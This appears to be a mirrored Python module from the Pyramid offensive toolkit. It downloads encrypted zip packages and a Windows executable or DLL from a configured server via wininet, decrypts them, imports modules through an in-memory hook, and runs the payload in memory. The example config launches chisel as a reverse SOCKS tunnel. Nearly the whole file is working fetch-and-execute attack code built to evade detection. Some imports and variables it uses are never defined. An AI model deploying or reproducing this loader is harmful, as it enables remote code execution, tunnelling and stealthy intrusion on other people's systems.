mirror of
https://github.com/naksyn/Pyramid
synced 2026-06-08 16:17:13 +00:00
c318617011
Added wininet for cradle and Pythonmemorymodule and tuned the server a bit
444 lines
14 KiB
Python
444 lines
14 KiB
Python
'''
|
|
Author: @naksyn (c) 2023
|
|
|
|
Description: Pyramid module for executing PythonMemoryModule in memory. This script allows in-memory loading of a remotely fetched dll via MemoryModule technique.
|
|
No external code is required, i.e. you don't need to drop on disk external bindings anymore to accomplish this, all is done entirely in-memory.
|
|
|
|
refs: https://github.com/fancycode/MemoryModule
|
|
https://github.com/naksyn/PythonMemoryModule
|
|
|
|
Instructions: See README on https://github.com/naksyn/Pyramid
|
|
|
|
Copyright 2023
|
|
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"),
|
|
to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
|
|
and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
|
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
|
|
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
|
|
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
|
'''
|
|
|
|
import os
|
|
import base64
|
|
import importlib
|
|
import zipfile
|
|
import sys
|
|
from io import BytesIO
|
|
import time
|
|
import ctypes
|
|
import time
|
|
|
|
### This config is generated by Pyramid server upon startup and based on command line given
|
|
### AUTO-GENERATED PYRAMID CONFIG ### DELIMITER
|
|
|
|
pyramid_server='192.168.1.2'
|
|
pyramid_port='8080'
|
|
pyramid_user='user'
|
|
pyramid_pass='pass'
|
|
encryption='chacha20'
|
|
encryptionpass='superpass'
|
|
chacha20IV=b'12345678'
|
|
pyramid_http='http'
|
|
encode_encrypt_url='/login/'
|
|
|
|
### END DELIMITER
|
|
|
|
|
|
###### CHANGE THIS BLOCK ##########
|
|
|
|
### PYTHONMEMORYMODULE CONFIG
|
|
|
|
inject_exe= True # set to False if you want to inject a dll instead
|
|
exe_name='chisel.exe' # executable name to inject
|
|
command=' client 192.168.178.86:8000 R:socks' # put a trailing space before the commandline.
|
|
dll_name = 'example.dll'
|
|
dll_procedure='StartW' # dll procedure name to be called for dll execution - know your payload!
|
|
|
|
### GENERAL CONFIG ####
|
|
|
|
### Directory to which extract dependencies
|
|
### setting to false extracts to current directory
|
|
|
|
extraction_dir=False
|
|
|
|
#### DO NOT CHANGE BELOW THIS LINE #####
|
|
|
|
wininet = ctypes.WinDLL('wininet.dll')
|
|
|
|
# Constants
|
|
INTERNET_OPEN_TYPE_PRECONFIG = 0
|
|
INTERNET_FLAG_RELOAD = 0x80000000
|
|
INTERNET_SERVICE_HTTP = 3
|
|
HTTP_QUERY_STATUS_CODE = 19
|
|
|
|
# Function Prototypes
|
|
wininet.InternetOpenW.restype = wintypes.HANDLE
|
|
wininet.InternetOpenW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD]
|
|
|
|
wininet.InternetConnectW.restype = wintypes.HANDLE
|
|
wininet.InternetConnectW.argtypes = [wintypes.HANDLE, wintypes.LPCWSTR, wintypes.INT, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, wintypes.DWORD]
|
|
|
|
wininet.HttpOpenRequestW.restype = wintypes.HANDLE
|
|
wininet.HttpOpenRequestW.argtypes = [wintypes.HANDLE, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.LPCWSTR, POINTER(wintypes.LPCWSTR), wintypes.DWORD, wintypes.DWORD]
|
|
|
|
wininet.HttpSendRequestW.restype = wintypes.BOOL
|
|
wininet.HttpSendRequestW.argtypes = [wintypes.HANDLE, wintypes.LPCWSTR, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD]
|
|
|
|
wininet.InternetCloseHandle.restype = wintypes.BOOL
|
|
wininet.InternetCloseHandle.argtypes = [wintypes.HANDLE]
|
|
|
|
def add_basic_auth_header(hRequest):
|
|
if pyramid_user:
|
|
credentials = f"{pyramid_user}:{pyramid_pass}".encode("utf-8")
|
|
base64_credentials = base64.b64encode(credentials).decode("utf-8")
|
|
auth_header = f"Authorization: Basic {base64_credentials}\r\n"
|
|
lpHeaders = ctypes.c_wchar_p(auth_header)
|
|
dwHeadersLength = len(auth_header)
|
|
wininet.HttpAddRequestHeadersW(hRequest, lpHeaders, dwHeadersLength, 0)
|
|
|
|
def http_proxy_connection(target_url):
|
|
print(pyramid_server)
|
|
print(target_url)
|
|
|
|
hInternet = wininet.InternetOpenW(user_agent, INTERNET_OPEN_TYPE_PRECONFIG, None, None, 0)
|
|
if not hInternet:
|
|
print("Failed to open internet session.")
|
|
return False
|
|
|
|
hConnect = wininet.InternetConnectW(hInternet, pyramid_server, int(pyramid_port), None, None, INTERNET_SERVICE_HTTP, 0, 0)
|
|
if not hConnect:
|
|
print(f"Failed to connect to target server: {pyramid_server}.")
|
|
wininet.InternetCloseHandle(hInternet)
|
|
return False
|
|
|
|
hRequest = wininet.HttpOpenRequestW(hConnect, "GET", target_url, None, None, None, INTERNET_FLAG_RELOAD, 0)
|
|
if not hRequest:
|
|
print("Failed to open HTTP request.")
|
|
wininet.InternetCloseHandle(hConnect)
|
|
wininet.InternetCloseHandle(hInternet)
|
|
return False
|
|
|
|
add_basic_auth_header(hRequest)
|
|
|
|
if not wininet.HttpSendRequestW(hRequest, None, 0, None, 0):
|
|
print("Failed to send HTTP request.")
|
|
wininet.InternetCloseHandle(hRequest)
|
|
wininet.InternetCloseHandle(hConnect)
|
|
wininet.InternetCloseHandle(hInternet)
|
|
return False
|
|
|
|
print("HTTP request sent successfully.")
|
|
|
|
BUFFER_SIZE = 4096
|
|
dwBytesRead = wintypes.DWORD(0)
|
|
response = []
|
|
|
|
buffer = create_string_buffer(BUFFER_SIZE)
|
|
while True:
|
|
if not wininet.InternetReadFile(hRequest, buffer, BUFFER_SIZE, byref(dwBytesRead)):
|
|
break
|
|
|
|
if dwBytesRead.value == 0:
|
|
# end of the response
|
|
break
|
|
|
|
# Append the data read to the response list
|
|
response.append(buffer[:dwBytesRead.value])
|
|
|
|
payload = b''.join(response)
|
|
|
|
|
|
wininet.InternetCloseHandle(hRequest)
|
|
wininet.InternetCloseHandle(hConnect)
|
|
wininet.InternetCloseHandle(hInternet)
|
|
|
|
if len(payload) < 10000:
|
|
print("[!] Error, response too small - this may be a server error (missing file, server not reachable, etc.)")
|
|
print("[!] DEBUG response first 500 bytes:")
|
|
print(payload[:500])
|
|
return False
|
|
else:
|
|
return payload
|
|
|
|
|
|
|
|
### ChaCha encryption stub - reduced rounds for performance
|
|
|
|
def yield_chacha20_xor_stream(key, iv, position=0):
|
|
"""Generate the xor stream with the ChaCha20 cipher."""
|
|
if not isinstance(position, int):
|
|
raise TypeError
|
|
if position & ~0xffffffff:
|
|
raise ValueError('Position is not uint32.')
|
|
if not isinstance(key, bytes):
|
|
raise TypeError
|
|
if not isinstance(iv, bytes):
|
|
raise TypeError
|
|
if len(key) != 32:
|
|
raise ValueError
|
|
if len(iv) != 8:
|
|
raise ValueError
|
|
|
|
def rotate(v, c):
|
|
return ((v << c) & 0xffffffff) | v >> (32 - c)
|
|
|
|
def quarter_round(x, a, b, c, d):
|
|
x[a] = (x[a] + x[b]) & 0xffffffff
|
|
x[d] = rotate(x[d] ^ x[a], 16)
|
|
x[c] = (x[c] + x[d]) & 0xffffffff
|
|
x[b] = rotate(x[b] ^ x[c], 12)
|
|
x[a] = (x[a] + x[b]) & 0xffffffff
|
|
x[d] = rotate(x[d] ^ x[a], 8)
|
|
x[c] = (x[c] + x[d]) & 0xffffffff
|
|
x[b] = rotate(x[b] ^ x[c], 7)
|
|
|
|
ctx = [0] * 16
|
|
ctx[:4] = (1634760805, 857760878, 2036477234, 1797285236)
|
|
ctx[4:12] = struct.unpack('<8L', key)
|
|
ctx[12] = ctx[13] = position
|
|
ctx[14:16] = struct.unpack('<LL', iv)
|
|
while 1:
|
|
x = list(ctx)
|
|
for i in range(3):
|
|
quarter_round(x, 0, 4, 8, 12)
|
|
quarter_round(x, 1, 5, 9, 13)
|
|
quarter_round(x, 2, 6, 10, 14)
|
|
quarter_round(x, 3, 7, 11, 15)
|
|
quarter_round(x, 0, 5, 10, 15)
|
|
quarter_round(x, 1, 6, 11, 12)
|
|
quarter_round(x, 2, 7, 8, 13)
|
|
quarter_round(x, 3, 4, 9, 14)
|
|
for c in struct.pack('<16L', *(
|
|
(x[i] + ctx[i]) & 0xffffffff for i in range(16))):
|
|
yield c
|
|
ctx[12] = (ctx[12] + 1) & 0xffffffff
|
|
if ctx[12] == 0:
|
|
ctx[13] = (ctx[13] + 1) & 0xffffffff
|
|
|
|
|
|
def encrypt_chacha20(data, key, iv=None, position=0):
|
|
"""Encrypt (or decrypt) with the ChaCha20 cipher."""
|
|
if not isinstance(data, bytes):
|
|
raise TypeError
|
|
if iv is None:
|
|
iv = b'\0' * 8
|
|
if isinstance(key, bytes):
|
|
if not key:
|
|
raise ValueError('Key is empty.')
|
|
if len(key) < 32:
|
|
# TODO(pts): Do key derivation with PBKDF2 or something similar.
|
|
key = (key * (32 // len(key) + 1))[:32]
|
|
if len(key) > 32:
|
|
raise ValueError('Key too long.')
|
|
return bytes(a ^ b for a, b in zip(data, yield_chacha20_xor_stream(key, iv, position)))
|
|
|
|
### XOR encryption stub
|
|
|
|
def encrypt(data, key):
|
|
xored_data = []
|
|
i = 0
|
|
for data_byte in data:
|
|
if i < len(key):
|
|
xored_byte = data_byte ^ key[i]
|
|
xored_data.append(xored_byte)
|
|
i += 1
|
|
else:
|
|
xored_byte = data_byte ^ key[0]
|
|
xored_data.append(xored_byte)
|
|
i = 1
|
|
return bytes(xored_data)
|
|
|
|
|
|
### Encryption wrapper ####
|
|
|
|
def encrypt_wrapper(data, encryption):
|
|
if encryption == 'xor':
|
|
result=encrypt(data, encryptionpass.encode())
|
|
return result
|
|
elif encryption == 'chacha20':
|
|
result=encrypt_chacha20(data, encryptionpass.encode(),chacha20IV)
|
|
return result
|
|
|
|
cwd = os.getcwd()
|
|
|
|
|
|
#### MODULE IMPORTER ####
|
|
|
|
moduleRepo = {}
|
|
_meta_cache = {}
|
|
|
|
# [0] = .py ext, is_package = False
|
|
# [1] = /__init__.py ext, is_package = True
|
|
_search_order = [('.py', False), ('/__init__.py', True)]
|
|
|
|
|
|
class ZipImportError(ImportError):
|
|
"""Exception raised by zipimporter objects."""
|
|
|
|
# _get_info() = takes the fullname, then subpackage name (if applicable),
|
|
# and searches for the respective module or package
|
|
|
|
|
|
class CFinder(object):
|
|
"""Import Hook"""
|
|
def __init__(self, repoName):
|
|
self.repoName = repoName
|
|
self._source_cache = {}
|
|
|
|
def _get_info(self, repoName, fullname):
|
|
"""Search for the respective package or module in the zipfile object"""
|
|
parts = fullname.split('.')
|
|
submodule = parts[-1]
|
|
modulepath = '/'.join(parts)
|
|
|
|
#check to see if that specific module exists
|
|
|
|
for suffix, is_package in _search_order:
|
|
relpath = modulepath + suffix
|
|
try:
|
|
moduleRepo[repoName].getinfo(relpath)
|
|
except KeyError:
|
|
pass
|
|
else:
|
|
return submodule, is_package, relpath
|
|
|
|
#Error out if we can find the module/package
|
|
msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
|
|
raise ZipImportError(msg)
|
|
|
|
def _get_source(self, repoName, fullname):
|
|
"""Get the source code for the requested module"""
|
|
submodule, is_package, relpath = self._get_info(repoName, fullname)
|
|
fullpath = '%s/%s' % (repoName, relpath)
|
|
if relpath in self._source_cache:
|
|
source = self._source_cache[relpath]
|
|
return submodule, is_package, fullpath, source
|
|
try:
|
|
### added .decode
|
|
source = moduleRepo[repoName].read(relpath).decode()
|
|
#print(source)
|
|
source = source.replace('\r\n', '\n')
|
|
source = source.replace('\r', '\n')
|
|
self._source_cache[relpath] = source
|
|
return submodule, is_package, fullpath, source
|
|
except:
|
|
raise ZipImportError("Unable to obtain source for module %s" % (fullpath))
|
|
|
|
def find_module(self, fullname, path=None):
|
|
|
|
try:
|
|
submodule, is_package, relpath = self._get_info(self.repoName, fullname)
|
|
except ImportError:
|
|
return None
|
|
else:
|
|
return self
|
|
|
|
def load_module(self, fullname):
|
|
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
|
|
code = compile(source, fullpath, 'exec')
|
|
spec = importlib.util.spec_from_loader(fullname, loader=None)
|
|
mod = sys.modules.setdefault(fullname, importlib.util.module_from_spec(spec))
|
|
mod.__loader__ = self
|
|
mod.__file__ = fullpath
|
|
mod.__name__ = fullname
|
|
if is_package:
|
|
mod.__path__ = [os.path.dirname(mod.__file__)]
|
|
exec(code,mod.__dict__)
|
|
return mod
|
|
|
|
def get_data(self, fullpath):
|
|
|
|
prefix = os.path.join(self.repoName, '')
|
|
if not fullpath.startswith(prefix):
|
|
raise IOError('Path %r does not start with module name %r', (fullpath, prefix))
|
|
relpath = fullpath[len(prefix):]
|
|
try:
|
|
return moduleRepo[self.repoName].read(relpath)
|
|
except KeyError:
|
|
raise IOError('Path %r not found in repo %r' % (relpath, self.repoName))
|
|
|
|
def is_package(self, fullname):
|
|
"""Return if the module is a package"""
|
|
submodule, is_package, relpath = self._get_info(self.repoName, fullname)
|
|
return is_package
|
|
|
|
def get_code(self, fullname):
|
|
submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
|
|
return compile(source, fullpath, 'exec')
|
|
|
|
def install_hook(repoName):
|
|
if repoName not in _meta_cache:
|
|
finder = CFinder(repoName)
|
|
_meta_cache[repoName] = finder
|
|
sys.meta_path.append(finder)
|
|
|
|
def remove_hook(repoName):
|
|
if repoName in _meta_cache:
|
|
finder = _meta_cache.pop(repoName)
|
|
sys.meta_path.remove(finder)
|
|
|
|
def hook_routine(fileName,zip_web):
|
|
#print(zip_web)
|
|
zf=zipfile.ZipFile(BytesIO(zip_web), 'r')
|
|
#print(zf)
|
|
moduleRepo[fileName]=zf
|
|
install_hook(fileName)
|
|
|
|
### separator --- is used by Pyramid server to look into the specified dependency folder
|
|
|
|
|
|
zip_list = [
|
|
'pythonmemorymodule_wininet---pythonmemorymodule_wininet', 'pythonmemorymodule_wininet---windows_wininet'
|
|
]
|
|
|
|
|
|
for zip_name in zip_list:
|
|
try:
|
|
print("[*] Loading in memory module package: " + (zip_name.split('---')[-1] if '---' in zip_name else zip_name) )
|
|
zip_web = http_proxy_connection(encode_encrypt_url + base64.b64encode((encrypt_wrapper((zip_name+'.zip').encode(), encryption))).decode('utf-8'))
|
|
print("[*] Decrypting received file")
|
|
zip_web= encrypt_wrapper(zip_web, encryption)
|
|
hook_routine(zip_name, zip_web)
|
|
|
|
except Exception as e:
|
|
print(e)
|
|
|
|
print("[*] Modules imported")
|
|
|
|
##### PythonMemoryModule launcher #####
|
|
|
|
import pythonmemorymodule
|
|
|
|
try:
|
|
PE_name = exe_name if inject_exe else dll_name
|
|
print("[*] Downloading " + PE_name + " from host " + pyramid_server)
|
|
buf = http_proxy_connection(encode_encrypt_url + \
|
|
base64.b64encode((encrypt_wrapper(('delivery_files---'+ PE_name).encode(), encryption))).decode('utf-8'))
|
|
buf= encrypt_wrapper(buf,encryption)
|
|
if len(buf) ==0:
|
|
print("[!] Error: Zero-Length response - Remember to put your payload in Delivery_files folder!")
|
|
sys.exit()
|
|
print("[*] Decrypting received file")
|
|
|
|
except Exception as e:
|
|
print(e)
|
|
|
|
print("[*] In-memory loading dll " + PE_name)
|
|
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True, command=command)
|
|
|
|
if not (inject_exe):
|
|
print("[*] Calling " + dll_procedure + " procedure.")
|
|
startDll = dll.get_proc_addr(dll_procedure)
|
|
|
|
# this keeps python.exe opened while dll is executing
|
|
print("[*] Press Ctrl+C to end loop - Warning! this will end your routine and free the PE loaded.")
|
|
try:
|
|
while True:
|
|
pass
|
|
except KeyboardInterrupt:
|
|
print("[!] Pressed Ctrl+C - freeing PE ")
|
|
dll.free_library()
|
|
pass
|